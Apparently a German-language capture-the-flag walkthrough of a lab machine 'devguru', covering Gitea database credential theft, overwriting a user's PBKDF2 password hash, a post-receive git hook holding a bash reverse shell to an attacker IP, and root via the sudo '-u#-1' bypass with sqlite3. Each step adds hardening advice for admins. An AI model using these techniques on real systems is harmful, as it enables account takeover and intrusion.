**Analyse:** Das Enumerationsskript `linpeas.sh` findet eine Backup-Datei der Gitea-Konfiguration unter `/var/backups/app.ini.bak`. Wir untersuchen diese Datei und finden im `[database]`-Abschnitt die Zugangsdaten für die Gitea-MySQL-Datenbank: * Benutzer: `gitea` * Passwort: `UfFPTF8C8jjxVF2m` * Datenbank: `gitea` * Host: `127.0.0.1:3306`
**Bewertung:** Ein weiterer kritischer Fund! Wir haben nun Zugangsdaten zur Gitea-Datenbank. In dieser Datenbank werden wahrscheinlich die Benutzerinformationen für Gitea gespeichert, einschließlich des Passwort-Hashes für den Benutzer `frank`.
**Empfehlung (Pentester):** Mit dem gefundenen Passwort (`UfFPTF8C8jjxVF2m`) und Benutzer (`gitea`) versuchen, sich über den MySQL-Client mit der Gitea-Datenbank zu verbinden. Die `user`-Tabelle suchen und den Eintrag für `frank` analysieren (insbesondere Hash und Salt). **Empfehlung (Admin):** Backup-Dateien sollten ebenfalls gesichert werden und keine Klartext-Passwörter enthalten oder zumindest strenge Berechtigungen haben. Datenbank-Passwörter regelmäßig rotieren.
Wir verbinden uns mit der Gitea-MySQL-Datenbank und extrahieren den Passwort-Hash und Salt für den Benutzer `frank`.
Welcome to the MariaDB monitor. [...] Server version: 10.1.47-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04 [...] MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | gitea | | information_schema | +--------------------+ [...] MariaDB [(none)]> use gitea; Database changed MariaDB [gitea]> show tables; +---------------------------+ | Tables_in_gitea | +---------------------------+ [...] | user | [...] +---------------------------+ [...] MariaDB [gitea]> select name,salt,passwd,passwd_hash_algo as algo from user; +-------+------------+------------------------------------------------------------------------------------------------------+--------+ | name | salt | passwd | algo | +-------+------------+------------------------------------------------------------------------------------------------------+--------+ | frank | Bop8nwtUiM | c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900 | pbkdf2 | +-------+------------+------------------------------------------------------------------------------------------------------+--------+ 1 row in set (0.00 sec) MariaDB [gitea]> exit Bye
**Analyse:** Wir verbinden uns erfolgreich mit der MySQL-Datenbank als Benutzer `gitea` mit dem gefundenen Passwort. Wir wechseln zur `gitea`-Datenbank und listen die Tabellen auf, wobei wir die `user`-Tabelle finden. Wir fragen die relevanten Spalten (`name`, `salt`, `passwd`, `passwd_hash_algo`) aus der `user`-Tabelle ab. Wir erhalten: * Name: `frank` * Salt: `Bop8nwtUiM` * Passwort-Hash: `c200e...` * Hashing-Algorithmus: `pbkdf2` (PBKDF2 mit SHA256, Standard für Gitea)
**Bewertung:** Wir haben nun alle notwendigen Informationen (Passwort-Hash, Salt, Algorithmus) für den Gitea-Benutzer `frank`. Da wir den Hash nicht knacken können/wollen, besteht der Plan darin, das Passwort für `frank` auf ein bekanntes Passwort (z.B. `Benni1908`) zu ändern, indem wir einen neuen Hash mit dem bekannten Salt generieren und den alten Hash in der Datenbank überschreiben.
**Empfehlung (Pentester):** Ein Tool oder Skript finden/schreiben, das einen PBKDF2-SHA256-Hash mit dem gegebenen Salt (`Bop8nwtUiM`) und unserem gewählten Passwort (`Benni1908`) generiert. Den resultierenden Hash verwenden, um den Eintrag in der `user`-Tabelle der Gitea-Datenbank zu aktualisieren (z.B. mit einem `UPDATE`-Statement über den MySQL-Client). **Empfehlung (Admin):** Datenbankzugriff schützen. Gitea aktuell halten.
Wir verwenden einen Go-Playground (oder ein lokales Go-Skript), um den neuen PBKDF2-Hash für das Passwort `Benni1908` mit dem Salt `Bop8nwtUiM` zu generieren.
package main import ( "crypto/sha256" "fmt" "golang.org/x/crypto/pbkdf2" ) func main() { var salt = "Bop8nwtUiM" var passwd = "Benni1908" var tempPasswd []byte var saltBytes []byte saltBytes = []byte(salt) // Gitea verwendet standardmäßig 10000 Iterationen und eine Schlüssellänge von 50 Bytes für PBKDF2-SHA256 tempPasswd = pbkdf2.Key([]byte(passwd), saltBytes, 10000, 50, sha256.New) fmt.Println(fmt.Sprintf("%x", tempPasswd)) }
7cd3d9cb8c195b36eb54ed0c8d4fb5672e87ffe52b5f60f6d8c917231307bd946b5f59720fbed2c22225c6d521e0f628d403
Program exited.
**Analyse:** Wir nutzen Go und dessen Krypto-Bibliotheken, um einen neuen Passwort-Hash zu generieren. Wir verwenden das bekannte Passwort (`Benni1908`), den aus der Datenbank extrahierten Salt (`Bop8nwtUiM`) und die Standardparameter von Gitea für PBKDF2 (10000 Iterationen, 50 Byte Schlüssellänge, SHA256). Das Programm gibt den neuen Hash im Hexadezimalformat aus: `7cd3d...`.
**Bewertung:** Wir haben erfolgreich den korrekten Hash für unser gewünschtes Passwort generiert, der mit dem Salt und den Hashing-Parametern von Gitea kompatibel ist.
**Empfehlung (Pentester):** Diesen neuen Hash verwenden, um den alten Hash in der Datenbank für den Benutzer `frank` mittels eines `UPDATE`-SQL-Statements zu ersetzen. **Empfehlung (Admin):** Interne Hashing-Mechanismen verstehen und sicher implementieren.
Wir aktualisieren den Passwort-Hash in der Gitea-Datenbank.
MariaDB [gitea]> UPDATE user SET passwd="7cd3d9cb8c195b36eb54ed0c8d4fb5672e87ffe52b5f60f6d8c917231307bd946b5f59720fbed2c22225c6d521e0f628d403" where name="frank"; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 MariaDB [gitea]> exit Bye
**Analyse:** Wir verbinden uns erneut mit der Gitea-Datenbank und führen ein `UPDATE`-Statement aus. Wir setzen das `passwd`-Feld für den Benutzer, dessen `name` "frank" ist, auf den neu generierten Hash (`7cd3d...`). Die Datenbank bestätigt, dass eine Zeile geändert wurde.
**Bewertung:** Das Passwort für den Gitea-Benutzer `frank` wurde erfolgreich auf `Benni1908` geändert.
**Empfehlung (Pentester):** Nun versuchen, sich bei der Gitea-Weboberfläche (`http://devguru.local:8585`) als `frank` mit dem Passwort `Benni1908` anzumelden. **Empfehlung (Admin):** Datenbankänderungen protokollieren und überwachen.
Wir haben das Passwort für den Gitea-Benutzer `frank` geändert. Da der Gitea-Prozess als `frank` läuft, können wir versuchen, über Gitea eine Shell als dieser Benutzer zu erlangen. Eine bekannte Methode ist die Ausnutzung von Git Hooks.
# Aufruf: http://devguru.local:8585/ # Login mit: Username: frank Password: Benni1908 # Ergebnis: Erfolgreicher Login # Neues Repository erstellen: Repository Name: Benattack Beschreibung: (Optional) [...] (Restliche Optionen Standard) [Create Repository]
# Navigieren zum neuen Repository: Benattack -> Settings -> Git Hooks # Auswählen: post-receive Hook # Einfügen des Hook Contents (Reverse Shell Payload): #!/bin/bash bash -i >& /dev/tcp/192.168.2.109/5555 0>&1 # [Update Hook] klicken. Hook updated successfully.
**Analyse:** 1. Wir melden uns erfolgreich bei Gitea als `frank` an. 2. Wir erstellen ein neues, leeres Repository namens `Benattack`. 3. Wir navigieren zu den Git-Hook-Einstellungen dieses Repositories. Git Hooks sind Skripte, die automatisch bei bestimmten Git-Ereignissen ausgeführt werden. 4. Wir bearbeiten den `post-receive`-Hook. Dieser Hook wird auf dem Server ausgeführt, *nachdem* ein erfolgreicher Push in das Repository stattgefunden hat. 5. Wir fügen ein einfaches Bash-Skript als Hook-Inhalt ein. Dieses Skript versucht, eine interaktive Bash-Reverse-Shell zu unserer Angreifer-Maschine (192.168.2.109) auf Port 5555 aufzubauen. Da der Gitea-Prozess als `frank` läuft, wird dieser Hook ebenfalls als `frank` ausgeführt.
**Bewertung:** Wir haben erfolgreich einen bösartigen Git-Hook konfiguriert. Sobald wir etwas in dieses Repository pushen, sollte der Hook ausgelöst werden und uns eine Reverse Shell als Benutzer `frank` geben.
**Empfehlung (Pentester):** Auf der Angreifer-Maschine einen Netcat-Listener auf Port `5555` starten. Ein lokales Git-Repository initialisieren, eine Dummy-Datei hinzufügen, committen und dann in das Gitea-Repository (`http://devguru.local:8585/frank/Benattack.git`) pushen. **Empfehlung (Admin):** Die Möglichkeit zur Bearbeitung von Git Hooks über die Weboberfläche einschränken oder deaktivieren, wenn sie nicht benötigt wird. Gitea-Prozess mit minimal notwendigen Rechten ausführen.
Wir bereiten auf unserer lokalen Maschine ein Git-Repository vor und pushen es nach Gitea, um den Hook auszulösen.
Leeres Git-Repository in /root/devguru-hmv/.git/ initialisiert
[master (Root-Commit) 1a55581] Initial commit 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 README.md
Username for 'http://devguru.local:8585': frank Password for 'http://frank@devguru.local:8585': Benni1908 Objekte aufzählen: 3, fertig. Zähle Objekte: 100% (3/3), fertig. Schreibe Objekte: 100% (3/3), 208 Bytes | 208.00 KiB/s, fertig. Gesamt 3 (Delta 0), Wiederverwendet 0 (Delta 0), Pack wiederverwendet 0 To http://devguru.local:8585/frank/Benattack.git * [new branch] master -> master Branch 'master' wurde aufgesetzt, um Remote-Branch 'master' von 'origin' zu verfolgen. Push erfolgreich! Hook wird ausgelöst...
┌──(root㉿cyber)-[~] └─# nc -lvnp 5555 listening on [any] 5555 ... connect to [192.168.2.109] from (UNKNOWN) [192.168.2.107] 49552 bash: cannot set terminal process group (1339): Inappropriate ioctl for device bash: no job control in this shell frank@devguru:~/gitea-repositories/frank/benattack.git$ # Shell als frank! id uid=1000(frank) gid=1000(frank) groups=1000(frank)
**Analyse:** 1. Wir initialisieren ein lokales Git-Repository, fügen eine Dummy-Datei hinzu und committen sie. Wir konfigurieren Git mit Benutzerdaten, die Gitea akzeptiert. 2. Wir fügen das Gitea-Repository als Remote (`origin`) hinzu. 3. Wir starten unseren Netcat-Listener auf Port 5555. 4. Wir pushen den lokalen `master`-Branch zum Gitea-Repository. Wir authentifizieren uns mit `frank`/`Benni1908`. 5. Der Push ist erfolgreich. Auf dem Server löst dies den `post-receive`-Hook aus. 6. Unser Netcat-Listener empfängt die Verbindung, und wir erhalten eine Shell. Der `id`-Befehl bestätigt, dass wir nun als Benutzer `frank` (uid=1000) agieren.
**Bewertung:** Die Privilege Escalation von `www-data` zu `frank` war erfolgreich! Wir haben die Kontrolle über den Gitea-Account genutzt, um über einen Git-Hook eine Shell als Benutzer `frank` zu erhalten.
**Empfehlung (Pentester):** Die erhaltene `frank`-Shell stabilisieren. Nun erneut nach Privilege-Escalation-Vektoren suchen, um Root-Rechte zu erlangen. Insbesondere `sudo -l` für `frank` prüfen. **Empfehlung (Admin):** Git Hooks als Angriffsvektor verstehen und absichern. Gitea sicher konfigurieren.
Wir haben nun eine Shell als Benutzer `frank`. Wir prüfen erneut die `sudo`-Berechtigungen, diesmal für `frank`, um einen Weg zu Root zu finden.
Matching Defaults entries for frank on devguru:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3
**Analyse:** Die Ausgabe von `sudo -l` für den Benutzer `frank` ist sehr spezifisch: * `frank` darf `/usr/bin/sqlite3` ausführen. * Dies darf er als jeder Benutzer (`ALL`) und jede Gruppe (`ALL`) tun, ABER explizit **nicht** als `root` (`!root`). * Es ist keine Passworteingabe erforderlich (`NOPASSWD`). Die Einschränkung `!root` verhindert, dass wir einfach `sudo /usr/bin/sqlite3` oder `sudo -u root /usr/bin/sqlite3` ausführen können.
**Bewertung:** Dies ist eine interessante, aber trickreiche `sudo`-Regel. Obwohl der direkte Weg zu Root blockiert ist, deutet die Möglichkeit, `sqlite3` als *jeden anderen* Benutzer auszuführen, auf einen möglichen Exploit hin. Die Ressource GTFOBins listet oft Wege auf, wie solche Konfigurationen umgangen werden können.
**Empfehlung (Pentester):** GTFOBins oder Exploit-DB nach `sudo sqlite3 !root` durchsuchen. Die dort beschriebenen Techniken ausprobieren. Oft nutzen solche Exploits negative User-IDs (wie `-1`), die vom System als `root` interpretiert werden, aber von der `sudo`-Regel (`!root`) nicht erfasst werden. **Empfehlung (Admin):** `sudo`-Regeln äußerst präzise formulieren. Die `!root`-Einschränkung ist oft ein Versuch, etwas zu erlauben, ohne Root-Rechte zu geben, kann aber oft umgangen werden. Es ist meist sicherer, explizit die erlaubten Benutzer/Gruppen aufzulisten, anstatt `ALL` mit Ausnahmen zu verwenden.
Wir wenden eine bekannte Technik an, um die `!root`-Einschränkung bei `sudo` zu umgehen, indem wir die User-ID `-1` verwenden, die oft als `root` interpretiert wird.
uid=0(root) gid=1000(frank) groups=1000(frank)
**Analyse:** Wir führen den `sudo`-Befehl wie folgt aus: * `sudo -u#-1`: Wir weisen `sudo` an, den Befehl als Benutzer mit der ID `-1` auszuführen. Die Raute (`#`) ist eine alternative Schreibweise für die User-ID. Viele Systeme interpretieren die User-ID `-1` als `root` (UID 0). Da die `sudo`-Regel `!root` explizit den Namen `root` verbietet, aber nicht die UID `-1`, umgeht dieser Trick die Einschränkung. * `/usr/bin/sqlite3 /dev/null`: Wir starten `sqlite3` und öffnen eine temporäre In-Memory-Datenbank (`/dev/null` wird hier oft als Platzhalter verwendet). * `'.shell /bin/sh'`: Wir übergeben `sqlite3` einen internen Befehl. Der `.shell`-Befehl führt einen externen Shell-Befehl aus. Hier starten wir `/bin/sh`. Da `sqlite3` mit der effektiven UID 0 (wegen `-u#-1`) läuft, wird auch die gestartete `/bin/sh` mit Root-Rechten ausgeführt. Der `id`-Befehl bestätigt, dass wir `uid=0(root)` haben.
**Bewertung:** Fantastisch! Die Privilege Escalation von `frank` zu `root` war erfolgreich durch die clevere Umgehung der `!root`-Beschränkung in der `sudo`-Regel für `sqlite3`.
**Empfehlung (Pentester):** Root-Shell ist erreicht. Flags lesen, Bericht abschließen. **Empfehlung (Admin):** **Sofort die `sudo`-Regel für `sqlite3` entfernen oder korrigieren!** Niemals `ALL` mit `!root`-Ausnahmen verwenden, wenn es um potenziell gefährliche Binaries geht. Sicherere Alternative wäre, `sqlite3` nur für einen spezifischen, unprivilegierten Benutzer zu erlauben, falls absolut notwendig.
Wir lesen die Root- und User-Flags aus der erhaltenen Root-Shell.
96440606fb88aa7497cde5a8e68daf8f
frank
22854d0aec6ba776f9d35bf7b0e00217
**Analyse:** Als Root lesen wir erfolgreich die Datei `/root/root.txt` und zur Bestätigung auch `/home/frank/user.txt`.
**Bewertung:** Beide Flags wurden erfolgreich erlangt. Der Penetrationstest ist abgeschlossen.
**Empfehlung (Pentester):** Ergebnisse dokumentieren und Bericht fertigstellen. **Empfehlung (Admin):** Alle identifizierten Schwachstellen (exponiertes `.git`, `adminer.php`, Klartext-Passwörter in Configs, unsichere CMS-Template-Bearbeitung, Gitea-Datenbank-Passwort in Backup, Gitea Git Hooks, unsichere `sudo`-Regel für `sqlite3`) dringend beheben.